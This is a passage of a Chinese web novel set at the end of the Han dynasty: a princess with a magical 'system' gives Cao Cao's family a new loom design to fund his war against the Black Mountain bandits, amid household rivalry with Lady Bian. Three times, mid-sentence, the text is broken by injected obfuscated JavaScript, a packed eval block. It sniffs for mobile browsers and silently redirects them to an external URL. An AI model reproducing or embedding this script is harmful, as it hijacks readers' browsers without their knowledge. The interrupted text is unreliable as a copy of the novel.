丁夫人见她过来,不仅嘘寒问暖,还赶紧让侍女们上了瓜果和茶点,刘琼也投桃报李,与其十分亲近。 “我看姑母今日满面红光,格外高兴,可是家中有什么喜事吗?”寒暄过后,刘琼就试探性的问了一句。 “说来还真是桩喜事呢,原是我家夫君被表奏为东郡太守了。”丁夫人也没瞒她,反正这消息或早或晚也会传开。 “原来是姑父升官了,怪不得这家里喜气洋洋的。”刘琼听到这儿,就明白了什么。 “那侄女就先恭喜了。”她心里清楚,但面上却依旧笑着面对。 “按理说,这升官的确是喜事不假,可我也难免有些发愁啊。”岂料丁夫人却叹了一口气。 “姑母有何忧愁,不妨说来听听。”刘琼引着她继续。 “跟你说说也无妨,我家夫君这个新官啊,虽然离家不远,可却一上任就要去剿匪,我也不免担忧。” “特别是听说那盘踞在东郡的黑山军杀人不眨眼,先前的东郡太守就是死在他们手上,我这心里,就更是七上八下的,生怕出个什么意外啊。” 丁夫人轻轻拍了拍胸口处,脸上也满是担忧。 “还有那个袁本初也真是的,他自己占了冀州,做的好大官,说是念着两家情分,特地表奏朝廷,也让我家夫君做大官。” “做大官就做大官吧,但怎么就选了这么一个棘手的地方?” “可偏偏,咱们还不能不领这份情,这才叫哑巴吃黄连,有苦说不出呢。” 丁夫人说着说着就说多了,竟是把曹操这个东郡太守的来历都讲的清清楚楚。 “原来如此啊。”听到这儿的刘琼不禁若有所思起来。 ‘袁绍,冀州,曹操,东郡太守,黑山军……’这种种线索串联在一起,总算让她明白系统提示的那个军费筹集困难是什么意思了。 如若要去剿匪,还是剿得硬茬儿,那曹操现有的军队确实不够,若要多征人丁入伍,自然需要大量钱粮,那他自然力有不逮。 曹操没钱,但袁绍肯定有,加之曹操这个新晋的东郡太守是承了袁绍的情分才得到的,这一来二去,说不定他还真会把自己给卖了。 毕竟,众所周知,袁绍可是对自己这个公主,以及传国玉玺感兴趣的很。 尽管此时的曹操还算得上大汉的忠臣,但刘琼却不能把身家性命全都压在对方身上。 “好了,不提了,不提了,他们男人的事啊,咱们女人家也管不了,只能白担心罢了。” “可这越说,我这心里就越放不下啊。”丁夫人没察觉什么不对,继续长吁短叹。 “……”而听到这儿的刘琼却突然意识到系统这次为什么给她发放的奖励是新款提花织机了,这不正是她们女子能做的吗? 不过这事儿要办却不能着急,而且少不得需要丁夫人的帮助,思及此处,刘琼便软下语气宽慰起来。 眼看她这般贴心,丁夫人甚感慰藉,也更坚定的要在未来促成她和儿子的婚事的想法。 而刘琼现在考虑的却更现实,比如,怎么用自己的新奖励合理的变出钱财来。 10. 新式织机 进了盛夏,一天比一天热,刘琼也越发不爱在日头毒的时候出门,只一早一晚在凉亭里乘凉,或是去找丁夫人叙话。 不过她也没忘了自己的目标,一直在琢磨着怎么把系统新奖励的织机图纸合理的拿出来用。 又是一日清晨时分,她正在凉亭里坐着沉思,不多时,慧儿便来到了她身边。 “女公子,你看喜不喜欢?”说着,慧儿就把手中刚摘下来的许多莲花递到她面前。 “漂亮的花啊朵的,有哪个姑娘不喜欢的?只可惜……”,刘琼抬手摸了摸那些或粉或白的莲花。 “只可惜什么?”慧儿关切的追问道。 “只可惜它们很快就会凋谢了。”她补上了下半句。 “就算奴婢不摘下来,它们也会凋谢啊。” “摘下来了,好歹还能博女公子一笑,有个好心情。” “若留它在那池子里,将来花瓣零落,掉入水中污泥,岂不是更可惜吗?”慧儿不明白她为何这样说。 “这话也有些道理,可是比起莲花带来的好心情,我更喜欢莲藕做成的美食。”刘琼眨了眨眼,带着点小姑娘的俏皮。 “原来女公子是馋了啊,这个容易,眼下这时节虽无成熟的莲藕,但嫩藕还是有的,奴婢这就去摘些来,晚点给女公子做些清爽的菜肴可好?”慧儿笑着问道。 “那自然是好。”刘琼点了点头。 “不过待会儿恐怕你得多摘点儿,有人不请自来了。”她微微歪头看向了慧儿身后,微微笑道。 “嗯?”慧儿顺着她的目光转身看去,却见曹昂正朝这边走来。 “留点神看着周围,别让人打扰,我有事跟他说。”刘琼提醒了一句。 “诺。”慧儿行了一礼,把花放在石桌上,转身就走,半路上又给曹昂见礼,然后就离开了这里。 曹昂走到凉亭里的时候,就看她左手拿着一株莲花,右手却去揪那花瓣,还一片一片的撒到了池塘里。 “妹妹,你这是做什么呢?”曹昂顺势坐到她身边,有些好奇的问道。 “附庸风雅,顺便喂鱼。”刘琼手上动作不停,揪完一株莲的全部花瓣儿,又拿起另一株接着揪,然后又将它们纷纷洒向水面。 “你这也太……”,曹昂被她这大实话噎的都不知道怎么形容才好。 “太什么?太庸俗?还是太现实?”刘琼捏着光秃秃的莲茎晃了晃,看他的眼神也带上了危险。 “太……率真。”曹昂见状,脑子立刻转的飞快,终于在她发难之前想到了合适的形容词。 “算你识相。”刘琼听到这儿,总算满意的笑了笑。 “出什么事了吗?怎么感觉,你今天心情不太好啊。”曹昂顺手拿过一株莲花,也学着她的样子揪起了花瓣。 “我心情不好不都是你闹的吗?别玩了,好生听我说话。”刘琼一把将他手里的莲花抢过来,连带着之前那几株光秃秃的莲茎一起放回桌上。 “这不是你先玩的吗?我这才……”他试图辩解。 “嗯?”她眼睛一眯。 “我错了。”他立刻道歉。 “不过你总得告诉我,这到底是怎么回事吧。”他追问具体缘由。 “我听你母亲说,你父亲升了东郡太守,还要去剿什么黑山军,我这不是担心你吗?”刘琼回答道。 “担心我?”曹昂一愣,“你以为,我也要跟去,担心我有危险,所以才心情不好的,是不是?”他很快反应过来了。 “少自作多情了,我不过是担心你走了之后,没人使唤罢了。”刘琼嘴硬道。 “好好好,是我自作多情,错怪妹妹了,我这厢给妹妹赔礼了。” 曹昂一眼就看出她是口是心非,顿觉心里暖暖的,顺着她说的同时,又连连作揖赔罪。 “你惯会说这些有的没的哄我,若真要安我的心,何不与我讲讲东郡的情况,也省的我什么都不知道,只会瞎操心。”刘琼半是玩笑,半是认真的引导他。 “这……”,曹昂有些犹豫。 “怎么?自家人外出做官可能有危险,难道我还不能问一问了?”刘琼以退为进。 “这倒也没有,只是少有女儿家关心这些的。” “况且东郡的形势的确不妙,那些黑山军,名为军队,实则草寇土匪之流,我也是怕吓着你。”曹昂斟酌着解释道。 “我当是什么?原是为了这个,那黑山军可比董卓的西凉军凶恶吗?”刘琼举例对比。 “那倒不至于。”几乎不用如何思考,曹昂就给出了答案。 “那比江东的孙坚如何?”刘琼又问。 “自然也比不了。”曹昂摇了摇头。 “我连董卓,孙坚都不怕,难道还怕什么黑山军?” “我不止要问他们的情况,我还要问董卓的,孙坚的,乃至这全天下的情况呢。” 刘琼用手比划了一下,并挺直了腰板,表明自己根本不惧。 “刚才问东郡黑山军的情况是为了我,那现在问全天下的,又是为什么呢?”曹昂却突然反问了一句。 “好没意思的话,就只许我担心你,不许我担心自己的亲弟弟吗?” “这天下还是我们刘家的天下呢,关心一下难道不应该吗?”刘琼皱起了眉头。 “应该……这当然应该了。”曹昂有些语塞的点了点头。 说实话,她若不主动提起,他都快忘了,眼前的小姑娘并非他的亲表妹,而是刘姓皇族的公主。 也不知怎么了,意识到这个事实的曹昂心里有些不舒服,但他并没表现出来。 “既然你想听你家的事,那我断断没有瞒着的道理,只是我虽跟在父亲身边听他们议事,到底也知道的不那么细致,若是漏了什么也未可知啊。” 曹昂的确知道的不全面,所以这会儿也不敢打包票。 “反正我这会儿什么也不知道,缺一些,少一点的,也听不出来,你只管说个大概就是了。” “要不,就从那个孙坚说起吧,虽说他后来起了歹心,可到底是在建章宫的枯井里救了我和慧儿性命,我还挺想知道他最近的消息的。” 刘琼先是表示不在意多少,然后又打感情牌,明里暗里的引着他说孙坚的近况。 “江东孙坚,已经死了。”曹昂只得说了实话。 “死了?怎么死的?”刘琼追问道。 “听说死于荆州刘表之手。”曹昂如实告知。 “原来是这样,他已经死了,怪不得,怪不得。”听闻这个消息,刘琼若有所思。 她终于明白为何自己早已逃出孙坚之手,偏偏这几日才发了奖励,又说再不必担忧对方的加害,竟是因为人没了。 “怪不得什么?”她低声喃喃,却被曹昂听了去,有些好奇的问道。 “怪不得他没派人来追杀,倒让我过了几天安生日子啊。”刘琼随口回了一句。 “原来是这样啊。”曹昂也没怀疑什么。 “你接着说吧,如今天下大势到底如何?”刘琼催促道。 “自十八路诸侯讨董失败,他们便回转各地,拥兵自重不说,还在互相残杀。” “孙坚亡于刘表之手,但他还有儿子在,江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656112|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东与荆州也因此陷入了兵戈。” “东郡太守乔瑁和充州刘岱因粮草问题结下仇怨,最后被其所杀。” “原冀州之主韩馥丢了冀州,来投奔了陈留太守张邈。” “至于冀州,则是落到了袁绍袁伯父手中,而我父亲最近升的这个东郡太守,也是承他的情,表奏朝廷得来的。” “可我们如今正在陈留郡,陈留太守张邈张伯父与我父亲情分不错,但现在碍于韩馥的投奔,也不大与我家往来了。” “父亲虽然伤心,但也不能不顾东郡百姓的安危,这才接任了太守一职,打算前去剿匪。” “不过这次我不会跟去,父亲要我守在家里,护好亲人们,毕竟,现在陈留郡的形势很是微妙。”曹昂简单把天下现有的情况说了一遍。 “袁绍表奏朝廷封你父亲为东郡太守,我虽早就听你母亲提过此事了,但还是觉得有些奇怪。” “如果我没记错的话,现在我弟弟被董卓挟持到了长安,他还那么小,根本做不了主,那么这等任命书又是谁发下来的呢?”刘琼提出了一个关键疑点。 “……”,听到这儿的曹昂瞬间就意识到,她是在怀疑他们家和袁绍董卓有勾结。 “好妹妹,我父亲对大汉忠心耿耿,别无他想。” “只是眼下形势比人强,为了更长远的未来,现在他不得不牺牲名声,暂时依附于我袁伯父……不,是袁绍。”曹昂说到这儿后,立刻改口。 “他不得不暂时依附于袁绍,也只有这样,我们才能慢慢积蓄实力啊。”他试图为自己的父亲辩解。 “我知道,知道你父亲是忠臣,不然我现在就不会在这儿。”刘琼见他忐忑不安的样子,也软下语气再三安抚。 “那我们……”,曹昂刚想松了一口气,可话才起了个话头,就被打断了。 “所以我也想为大汉做点什么,或者说,我想帮你父亲一把,就像他不久前帮我一样。” “他现在是东郡太守了,还要剿匪,一定很缺钱吧,你看看这个。”说着,刘琼就从袖中取出了一张图纸递给他。 “这是?”曹昂接过去看了一眼后,有些诧异。 “最新式的织机,不仅可以织出堪比襄邑锦的花纹,其成品所需时辰也大大缩短,襄邑锦是什么你知道吧。”刘琼简单讲述后,又问了一句。 “我当然知道了,襄邑锦代表我大汉丝织业的最高水平,几乎所有的襄邑锦都进贡到宫中了,留在市面上的少之又少。” “也正因为如此,它的价格高居不下,两三万钱都还不一定能买到一匹呢。” “我的天啊,倘若这个新式织机真能做到这点,那我们岂不是发财了?父亲最近正为军费发愁,这下也都有救了。”曹昂激动的都站起来了。 “先别想美事儿了,你还是想办法让工匠们先把这东西做出来再说吧,还有,这千万得保密啊,什么东西多了就不值钱了,知道吗?” 刘琼顺势起身,并适时给他泼了一盆冷水,又一把拿回了织机的图纸,再三叮嘱着不能外传的重要性。 “嗯。”曹昂连连点头。 “找工匠做我没问题,可这要保密就得涉及到接下来丝织女工们的安排,这个我就搞不定了,不如咱们一起去见我母亲吧,她肯定有办法。”他又提议道。 “那好,咱们一起去吧。”刘琼等的就是这句话,有曹昂在自己身边,待会儿说服丁夫人就会容易许多,而对方为了他这个儿子,也不会太过追究这张图纸的来历。 就这样,他们两个达成了一致,结伴去了丁夫人的正院,与其商议此事。 11. 夫妻夜话 刘琼和曹昂结伴去找丁夫人,不止言说新式织机的优点,更是借此点明了自己要报答他们曹家的心意。 她的此番言语暖心又救急,且曹昂又在一旁帮腔,为其说尽好话,两人自是把丁夫人哄得服服帖帖的。 不过到底还要看看成效如何才稳妥,丁夫人下令工匠连夜赶工。 等把新式织机造出来后,她又命人搬来一架旧式织机与其并排放在一起,让两名巧手侍女同时上机织造,结果自是新式织机更胜一筹。 同样的时辰,新式织机织出的丝绸长度比旧式织机的要多过两三倍不说,就连花纹都更精致美观,一看就是上品。 眼看效果和公主所言不差,丁夫人当即大喜过望,连声打发人要去请夫君曹操过来,却不想刚有紧急军情,曹操已经带人出去查看了。 丁夫人等的心急不已,好在天黑不久,曹操和亲卫们终是回府,听到这个这个消息,她赶紧亲自去找对方。 彼时曹操刚卸了铠甲,还没喘口气呢,就见自己的宠妾卞夫人派侍女来请,说是已经备好酒菜为他解乏。 曹操正要前往赴宴,可还没出门,就看正妻丁夫人急匆匆赶来,拽着他就要往正院去。 曹操皱了皱眉,正想说点什么,丁夫人却凑上去耳语一番,顿时,他的脸色就变得严肃起来,反手拉住丁夫人与她结伴离去。 他们夫妻走的倒是痛快了,只那卞夫人派来请人的侍女却欲哭无泪。 为了回去后不受责难,她便添油加醋的告诉卞夫人,是丁夫人强行拉走了主君。 这隐含意思就是,不是她没办好差事,而是正院夫人不讲武德,竟然亲自下场抢人,那她一个奴婢自是阻拦不住的。 卞夫人看出了侍女的小心思,但也没说什么,只挥了挥手让她退下。 “母亲,父亲是不是不来了?”内室里,听到动静的小曹丕走到她身旁问道。 “你父亲临时有事,可能待会儿就会过来了,丕儿乖,母亲先带你吃饭吧。”卞夫人摸了摸儿子的小脸,软下语气安抚道。 “母亲别骗我了,我刚才都听见了,父亲又去了正院。”可小曹丕却别开了她的手。 “这些日子每每他去那里就不会再过来了,不管母亲和我等到多晚他都不会来的。” “母亲,父亲是不是不喜欢我,只喜欢大哥,所以才会一直不来看我的?” 小曹丕虽然才七八岁的样子,但却出奇的聪明,心思也敏感,他早就发现这些日子父亲曹操来这里的次数比以前少太多了。 “怎么会呢?你父亲只是太忙了,况且这些日子他虽不常来,但我们的吃穿用度也和以前一样啊,并不曾亏待,可见你父亲心里还是有你的。” 卞夫人眼看儿子口出怨言,顿时心里一紧,赶紧转圜了几句。 “行了,你们都下去吧。”随后她又立刻屏退了左右。 等侍女们都退下后,她才牵着儿子的手来到案台前坐好,又亲自为他盛汤布菜,软下语气劝慰,好不容易才哄住了。 等母子两个用完饭菜,撤了碗碟,卞夫人先吩咐人带小曹丕去休息。 然后她又去看了自己的两个小儿子,曹彰与曹植,这两个还是几岁大的幼儿,平日睡觉时辰多,倒不让她如何操心。 等到转完一圈回来,她又担忧小曹丕的情况,便去看他休息的如何,却见这孩子果然没睡,而是趴在床榻上出神,还一副气呼呼的样子。 知子莫若母,只一眼,卞夫人就明白这孩子又犯了左性。 “丕儿,怎么还没睡啊。”她像以前许多次那样,走到床榻前摸了摸儿子的头。 “孩儿睡不着,总觉得委屈。”小曹丕眼看母亲过来,赶紧起身坐好。 “委屈什么?”卞夫人耐着性子问道。 “以前也不见父亲如何爱重大哥,可近来他却常常去正院,议事的时候也必要让大哥旁听。” “这次回府,父亲还把大哥的亲表妹接了过来,让正院夫人教养,吃穿用度无一不精。” “有些东西别说孩儿没见过了,就连母亲你也没有啊,可偏偏那人却仿佛司空见惯的样子。” “这也就罢了,可那些奴婢们见父亲不常来我们这儿,竟然也敢阳奉阴违,孩儿还撞见过偷偷向正院夫人献殷勤的。” “如此种种,孩儿怎能不觉得委屈?”小曹丕愤愤不平。 “丕儿,你是为母亲委屈,母亲知道,可你父亲这般厚待你大哥的表妹,想来也必有他的道理,我们切不可轻举妄动。”儿子很生气,但卞夫人却冷静非常。 因为小曹丕只看到了表象,可她却敏锐的猜到了还有其他缘由。 卞夫人是倡女出身,也就是家里以乐舞为生的艺人,地位卑微,因容貌姣好,温柔小意被曹操看中,纳为妾室。 她能待在曹操身边这么多年盛宠不衰,又接连生下这许多儿子,可见这察言观色的本事何等厉害。 也因此,她笃定曹操此举必有深意,而那个新来的小姑娘身上也有秘密隐藏。 不然这根本没办法解释,曹操为何要待一个外八路的亲戚这么好,甚至远远超过了自己的宠妾和亲儿子们。 “可是孩儿想父亲多来母亲这儿看看。”她的这些想法小曹丕都不知道,他只是觉得老爹厚此薄彼,且他的生活与之前相比有落差,这才会这般抱怨和期盼的。 “母亲也想他多过来看看,这样,母亲答应你,一定会想想办法,乖,你先睡吧。”她摸了摸儿子的小脸许诺道。 “孩儿都听母亲的。”得了肯定的答复,小曹丕心里舒服多了,乖乖的躺下睡觉。 卞夫人一边轻拍被子哄儿子睡觉,一边思考着自己该怎么做,思虑再三后,她觉得或许自己可以把突破口放在那个新来府邸的小姑娘身上。 她认为,也是时候去探探对方身上到底有什么秘密,竟然值得自己的夫君这般优待,就连作为正室的丁夫人也对其百般爱护了。 就在卞夫人琢磨着怎么打探一下刘琼的秘密的时候,另一边的曹操也有些疑惑。 正院房间里,丁夫人命两名侍女如法炮制,统一开始织造。 在将新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656113|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧两种织机的优缺点具象化,取信了自家夫君后,她就开始为出这个主意的刘琼和曹昂说好话。 “夫人,新式织机的效果我的确很满意,但是,你不觉得有点奇怪吗?公主怎么会有这种东西的图纸呢?”曹操拍了拍那台新式织机,有些疑惑的询问道。 “夫君,我常听闻,宫中特设织室,由少府统领,专为皇亲贵戚织造绫罗绸缎,其技艺为我大汉最高。” “而后妃嫔御,公主贵女,也常以纺织以为贤德,公主虽年幼,但必然也接触过,许是好奇要来了图纸也未可知啊。” 丁夫人上前给出了一个合理的答案,兼顾了刘琼自己的说法,以及她个人的猜测。 “这倒也说的过去。”曹操点了点头,但随即又想到了一点。 “可是先前董卓挟持陛下西逃长安,那般慌乱之下,公主怎么还顾得上带什么新式织机的图纸?”他又皱紧了眉头。 “夫君,其实我觉得,咱们根本没有必要对图纸的来历刨根问底。” “左右它能解夫君的燃眉之急,又是公主自愿拿出来,并无人强迫,既如此,你我又何必要深究呢?” 丁夫人一时半会儿圆不过去这个逻辑,干脆从利益关系出发,试图终结这个问题。 “这话说的很是,但是……”,曹操眼眸微动,显然已经有所动摇。 “夫君,这是两全其美之事啊。” “而且夫君先前不是与我说过公主的事迹吗?其中颇有些神异,也许这次亦是如此也说不定啊。”丁夫人见状,马上趁热打铁接着游说。 “……”,曹操听到这儿,不由得想起了当初在洛阳传的沸沸扬扬的金凤引路之事。 还有后来他千里奔袭去救公主,看到了百鸟朝凤,还有野兽成群结队保护公主的场景。 有这些珠玉在前,似乎公主拿出一张图纸也没什么大不了的。 更何况,自己的妻子说的也对,这事儿到底对他有利,既然如此,又何必非要知道来历呢? “也罢,那这件事就麻烦夫人操办了,至于那些织出来的锦缎,我会设法把它们换成钱粮,给将士们发饷。” 思及此处,曹操也就不多问了,转而跟妻子商量起接下来该怎么好好利用新式织机变出钱财解决军费问题。 “夫君放心,针织一事本就是我们女子所擅长的,等工匠们把新式织机都做好后,我便寻自家女眷们一起动手安排此事,绝不会泄露出去的。”丁夫人保证道。 她是个精明的女子,也深知好东西在精不在多的道理,这技术上的保密还是非常有必要的。 所以她优先选择和自家关系亲近的宗族女眷,这既是为了防止泄密,也是为了拉拢她们,这年头,宗族内部互帮互助是很常见的事。 正如那句俗语,打虎亲兄弟,上阵父子兵,她们女眷之间,也有自己的一套行事准则。 “夫人是我的贤内助,你这么说,我再没什么不放心的。”曹操闻言也满意的点了点头。 就这样,夫妻两个达成了一致,曹操当晚也留宿在了正院。 12. 另辟蹊径 新式织机加上曹氏宗族女眷们的支持,很快就有一批质量上乘,花纹精致的锦缎被织了出来。 丁夫人负责统筹制作过程,而曹操则设法将它们变成钱财。 如今虽是乱世,但堪比进贡所用的锦缎从来也不愁卖,况且曹操还可以拿这些东西做人情,比如他就派人给冀州袁绍送去了许多,以谢他表奏自己为东郡太守之事。 当然,除此之外,曹操更多的是想把袁绍作为一个固定买家,先送样品过去打通销路,以后就不愁卖不出去,乃至卖不上价了。 而事情证明,好东西谁都喜欢,更何况乱世里布帛和粮食一样,都是硬通货,所以袁绍大方的和曹操签了长期订单。 袁绍作为一方诸侯,他都看好的东西,其他诸侯自然也会有兴趣。 曹操又分别给南阳的袁术,幽州的公孙瓒,荆州的刘表等人也送了一些样品充做礼物,并试图与他们做生意。 这些人也都在考虑后,或多或少的下了订单。 在这场交易中,曹操并没有只要钱财,而是针对不同诸侯的辖区盛产的东西进行了交换。 比如南阳盛产粟米小麦,而荆州多稻米,那他就要求袁术和刘表直接把货款换成粮食送来就行。 而幽州多马匹,他就致信公孙瓒,拿马儿来抵即可。 曹操不像公孙瓒那样偏爱白马,他不挑毛色,也不挑品种,只要是马他就要,不管是征战用的军马,还是拉车驮物的驽马他都要。 这些诸侯一看还有这等好事,哪有不同意的? 不过众人也不傻,自然看的出来曹操这是在试图壮大实力,但只要他不侵扰自己的辖区,跟他做生意又有什么不可以的? 也不是没人眼红这门生意,比如南阳的袁术。 可是曹操早就知道这家伙是个贪得无厌,于是暗中和袁绍那边通了气,还特地分出一部分利益给袁绍,以求庇护。 而袁绍本来就和袁术不对付,曹操又是自己好友,现在还送了这许多好处,并表明依附的态度。 再加上之前他表奏曹操为东郡太守,本就是为了拉进两家的情分,加之需要曹操去剿黑山军,肃清边境,稳固自己内部的势力。 两相结合之下,那袁绍自然没理由推开曹操这个坚实的盟友兼小弟。 于是乎,他果断替曹操抵住了袁术的压力,而理由也说的非常冠冕堂皇,那就是这生意是曹操的妻子丁夫人的,你一个大男人好意思抢啊,也不怕失了颜面? 袁术那边得了袁绍的书信斥责,自是大发雷霆。 可尽管气的咬牙切齿,他也不得不承认,自己现在的实力的确不如这个庶出的兄长。 而且对方用的这个由头也着实让人羞恼,没办法,最后他只能放弃侵吞这门生意的想法。 如此一来,就等于是多赢的局面,可在这场利益交换中,给出新式织机图纸的刘琼却是收获最小的。 曹操对外宣称这门生意是妻子丁夫人的,在曹氏宗族内部也是这么说的,诚然这是出于保护刘琼的好意,但也间接阻断了更多人知道她的功劳。 也因此,她的声望值并没提升多少,更别提得到系统的新奖励了。 而一日不提升自己的声望值,她就有被曹操背刺的危险,可现在又没有新奖励可以用,也就是说,她必须还在新式织机上面打主意。 可刘琼想了又想,发现自己根本没办法越过丁夫人去接触这门生意,当初为了图省事,全权交由对方操办,如今想插手也难了。 况且就算她能插手,曹氏宗族的那些贵族女眷也不会为她所用。 说到底,她根本不是曹家的人,如今明面上的身份,也只不过是借住在此的一个孤女而已,这样就更不可能取信众人了。 更有甚者,一个不慎,还会引起曹操的怀疑,引来祸事也说不定。 她越想越头疼,干脆起身去后花园纳凉,慧儿见她心烦意乱,忙叫来一个小侍女去准备些冷饮冰鉴,冰镇瓜果之类的小食来。 不多时,那小侍女回来,慧儿便提着食盒入了凉亭侍奉刘琼。 等吃着浇了蜂蜜的冰酪,又看了一会儿池塘里的莲花游鱼后,刘琼感觉心情好多了。 主仆两个正说笑呢,曹昂便不请自来了,这些日子他都是这样,来她这儿跟回自己房间似的,自然的不得了。 慧儿跟他见礼,刘琼则是从袖中取出一块丝帕。 “这是打哪儿来啊,瞧你满头大汗的,快擦擦吧。”说着话呢,她顺势就把丝帕递了过去。 “刚去了一趟军营巡视,父亲在前线打仗,我总得为他看顾好后方啊。”曹昂也不客气,接过丝帕就抹了一把脸。 “大公子,请用。”慧儿很有眼力见的端上一杯加冰的蜜水给他。 “多谢。”曹昂点头致意后,端起杯子一仰而尽,那个急切劲儿,可见是真渴了。 慧儿赶紧又给他倒了一杯,他又一口气喝完了。 就这样,一个喝,一个倒,接连三次,曹昂还意犹未尽,正要再喝第四杯时,刘琼用眼神示意慧儿停下,又立刻抬手按住了他。 “你刚从外头回来,喝几杯解解渴也就是了,切记不可多饮,当心这一冷一热下来,身子受不住。”随即她解释了原因。 “好。”曹昂知她是关心自己,自是笑着点头答应。 慧儿见状,也很识趣的行了一礼,然后走出凉亭,站在合适的位置听候差遣的同时,也帮他们观察周围的情况。 “我看你眉头紧锁的回来,怎么?军营那边出什么事了吗?”刘琼从果盘中揪下一颗葡萄,一边剥皮,一边询问道。 “也不是什么大事,就是有些士兵想要回家罢了。”曹昂避重就轻道。 “你父亲不是给兵将们发饷银吗?他们为何还要闹着回家呢?”刘琼把葡萄递过去。 “这就涉及到兵将来源的问题了,原先跟着我父亲起家的亲兵们自是不会如此。”曹昂接过葡萄吃了。 “那如此的是什么样的呢?”刘琼又剥了一颗递给他,并引着他继续往下说。 曹昂再次把葡萄接过来,但没吃,只捏在手里与她说着话。 “这次去打黑山军,父亲在东郡重新招募了许多新的士兵,他们中间有很多是从外地来的流民,还有本地的壮丁。” “流民参军本是为讨口饭吃,可这一发了饷银,心思也就活络起来,想回乡的不少。” “而本地的壮丁呢,起先也没折腾,只是临近秋收,他们的家人又离军营不远,也就难免惦记。” “加之那些外地流民出身的同袍一鼓动,他们自然也就吵嚷起来了。” 话到此处,这事情的经过也就说的差不多了,曹昂这才把葡萄吃了。 “也就是说,现在招募士兵是招到了,但就是留不住他们的心,是吧。”刘琼看了他一眼道。 “何止是心留不住,若不及时处理,只怕连人也留不住,届时就只能用严刑峻法压制他们了。”曹昂叹了一口气。 “俗话说,堵不如疏,与其压制他们,使得积怨更深,倒不如安抚,毕竟,这些士兵是要上阵打仗的,万一心存歹意,临阵倒戈,那届时麻烦才大了呢。”刘琼假设了一下。 “道理是这么个道理,可如何安抚呢?难不成真要满足他们的愿望,让他们回家吗?” 曹昂也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656114|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没注意到这个问题,可是任他如何思虑也想不出个合适的解决办法啊。 “他们是士兵,哪能随便回去?本地的还行,那些外地的怎么办?要我说,与其让他们回去,不如让他们的家眷过来。”刘琼干脆反其道而行之。 “即便此举可行,可那么多老弱妇孺的过来了,怎么过日子啊。”曹昂摊开手,指出了其中的关键点。 “男人们当兵有军饷,这些钱就可以给家眷们买房子置地,不拘多少,总归先安定下来。” “届时,当兵的男人们也就放心了,至于说万一军饷不够生活的,我这儿还有个主意,就是不知当讲不当讲?”刘琼一步步的把话题引到了自己想说的地方。 “你我之间还有什么可隐瞒的?只管说来就是。”曹昂也果然顺着接了下去。 “那我就说了啊。”刘琼笑了笑,“等那些士兵的家眷安顿下来后,我们可以组织女眷们做织工,就用新式织机。” “当然,她们肯定织不了各种花样的绫罗绸缎,那些手艺也不能随便传出去。” “我的意思是,她们只要用了我们的新式织机,哪怕织出来的是普通的绢帛,也会比市面上流通的强上不少,生产出来的量也大,想来根本不愁卖的。” “至于我们,只需把得来的一部分钱财发给这些女织工们,用于补贴家用,我想完全就可以留住她们的心。” “而一旦做妻子的留下来了,那她们的丈夫又怎么会想离开呢?”刘琼说的头头是道。 “可是,如果我们把士兵家里的女眷都组织去纺织,那他们家里的老人孩子谁来照顾呢?”曹昂觉得她这个主意不错,但还是会滋生新的问题。 “我们又不是一天到晚十二个时辰都让人上机纺织,你规定一下时辰不就行了吗?” “正所谓,术业有专攻,那也不是每个女子都是巧手织妇啊。” “如果有做不了这个活儿的,就可以组织起来看孩子嘛,到时候也给发点银钱补贴家用,不信她们不归心。” 刘琼很快就给出了一个简易版托儿所的建议。 “此事若真的办成了,那军心自然大定啊,我这就去找……”曹昂越听眼睛越亮,高兴的什么似的,抬脚就要去寻父亲曹操。 “诶,回来!”岂料刘琼眼疾手快就拽住了他。 “怎么了?”曹昂有些疑惑的看向她。 “你这听了我的建议,转头就要拿去用,连句谢也没有,不觉得太过分了吗?”刘琼瞪了他一眼,凉凉道。 “是我唐突了,好妹妹,你说你要什么,只要我做得到的,都给你找来。”曹昂闻言,赶紧行了一礼,赔罪道。 “这可是你说的啊,附耳过来。”她招招手。 曹昂也听话的把耳朵凑了过去,也不知她说了些什么,总之他看起来挺为难的。 “好妹妹,这……”他还没说完就被打断了。 “这什么这,你刚才说什么了,你还记得吧,男子汉大丈夫,可不能食言而肥,不然将来哪个姑娘看得上你啊。” 刘琼抢过话头就是一顿说教,这番软硬兼施之下,曹昂也没了法子,只能艰难的点了点头。 “那好吧,我带你去找母亲,我们先说服她,然后再一起去说服父亲。”思虑再三后,他这样说道。 “那还等什么?我们快走吧。”听到这儿,刘琼笑的眉眼弯弯的,直接挽住他的胳膊催促道。 眼看小姑娘待自己这般亲近,曹昂感觉晕晕乎乎的。 这就好像大热天一回来就有冰镇蜜水喝一样,有一种说不出的欢喜涌上心头,简直让他快要丧失思考能力,就这么和她结伴同行离开了这里。 